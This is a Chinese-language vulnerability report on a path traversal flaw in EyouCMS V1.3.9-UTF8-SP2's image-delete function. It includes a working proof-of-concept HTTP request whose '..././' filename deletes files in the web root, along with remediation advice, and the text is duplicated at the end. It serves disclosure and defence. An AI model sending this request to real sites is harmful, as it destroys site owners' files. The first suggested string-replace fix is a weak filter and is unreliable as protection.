EyouCMS-V1.3.9-UTF8-SP2,有一个删除站点图片的bug
字数 867 2025-08-26 22:11:15

EyouCMS V1.3.9-UTF8-SP2 图片删除漏洞分析报告

漏洞概述

EyouCMS V1.3.9-UTF8-SP2 版本中存在一个图片删除功能的路径遍历漏洞,允许认证用户通过构造特殊路径删除网站根目录下的文件。

漏洞详情

漏洞文件

\application\user\controller\Uploadify.php 第66行的 delupload() 方法

漏洞类型

路径遍历漏洞 (Directory Traversal)

漏洞等级

低危

影响版本

EyouCMS V1.3.9-UTF8-SP2

技术分析

漏洞代码分析

public function delupload()
{
    $filename = str_replace('../', '', $filename); // "../"过滤不够
    // 其他代码...
}

漏洞原理

  1. 过滤不充分:仅替换了 ../,但未处理 ./.../ 等变体
  2. 路径拼接:系统会将用户上传的文件存储在用户ID对应的目录下(如 xxx/xxx/4/
  3. 通过构造特殊路径可以绕过过滤,实现目录遍历

漏洞复现步骤

  1. 注册并登录会员账户(注意Cookie中的users_id值)
  2. 发送以下HTTP请求:
POST /eyoucms/?m=user&c=uploadify&a=delupload HTTP/1.1
Host: www.test.com
Cookie: home_lang=cn; users_id=4; PHPSESSID=tcts5qdj6o18fvntoabt47o8v6; admin_lang=cn
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

action=del&filename=xxx/xxx/4/..././..././..././favicon.ico
  1. 过滤后的实际路径:xxx/xxx/4/../../../favicon.ico
  2. 最终会删除网站根目录下的favicon.ico文件

关键点说明

  1. users_id必须与Cookie中的值匹配(示例中为4)
  2. 构造的路径经过过滤后会变成有效的目录遍历路径
  3. 可以删除网站根目录下的任意文件(需有写权限)

修复建议

  1. 加强路径过滤:
$filename = str_replace(array('../', './', '.../'), '', $filename);
  1. 使用realpath函数解析真实路径并检查是否在允许的目录内:
$basePath = '/path/to/allowed/directory/';
$realPath = realpath($basePath . $filename);
if (strpos($realPath, $basePath) !== 0) {
    // 非法路径,拒绝操作
}
  1. 限制删除操作的文件范围,只允许删除用户自己的上传文件

  2. 对文件操作进行权限检查

漏洞利用限制

  1. 需要普通用户权限(可注册获得)
  2. 只能删除Web服务器有写权限的文件
  3. 需要知道目标文件的相对路径

总结

该漏洞展示了在文件操作中路径过滤不充分可能导致的安全问题。开发人员应当:

  1. 对所有用户提供的文件路径进行严格验证
  2. 使用白名单机制限制可操作的文件范围
  3. 实施最小权限原则,限制文件操作的目录
  4. 对关键文件操作进行日志记录

通过完善路径过滤和权限检查机制,可以有效防止此类漏洞的发生。

EyouCMS V1.3.9-UTF8-SP2 图片删除漏洞分析报告 漏洞概述 EyouCMS V1.3.9-UTF8-SP2 版本中存在一个图片删除功能的路径遍历漏洞,允许认证用户通过构造特殊路径删除网站根目录下的文件。 漏洞详情 漏洞文件 \application\user\controller\Uploadify.php 第66行的 delupload() 方法 漏洞类型 路径遍历漏洞 (Directory Traversal) 漏洞等级 低危 影响版本 EyouCMS V1.3.9-UTF8-SP2 技术分析 漏洞代码分析 漏洞原理 过滤不充分:仅替换了 ../ ,但未处理 ./ 或 .../ 等变体 路径拼接:系统会将用户上传的文件存储在用户ID对应的目录下(如 xxx/xxx/4/ ) 通过构造特殊路径可以绕过过滤,实现目录遍历 漏洞复现步骤 注册并登录会员账户(注意Cookie中的 users_id 值) 发送以下HTTP请求: 过滤后的实际路径: xxx/xxx/4/../../../favicon.ico 最终会删除网站根目录下的favicon.ico文件 关键点说明 users_id 必须与Cookie中的值匹配(示例中为4) 构造的路径经过过滤后会变成有效的目录遍历路径 可以删除网站根目录下的任意文件(需有写权限) 修复建议 加强路径过滤: 使用realpath函数解析真实路径并检查是否在允许的目录内: 限制删除操作的文件范围,只允许删除用户自己的上传文件 对文件操作进行权限检查 漏洞利用限制 需要普通用户权限(可注册获得) 只能删除Web服务器有写权限的文件 需要知道目标文件的相对路径 总结 该漏洞展示了在文件操作中路径过滤不充分可能导致的安全问题。开发人员应当: 对所有用户提供的文件路径进行严格验证 使用白名单机制限制可操作的文件范围 实施最小权限原则,限制文件操作的目录 对关键文件操作进行日志记录 通过完善路径过滤和权限检查机制,可以有效防止此类漏洞的发生。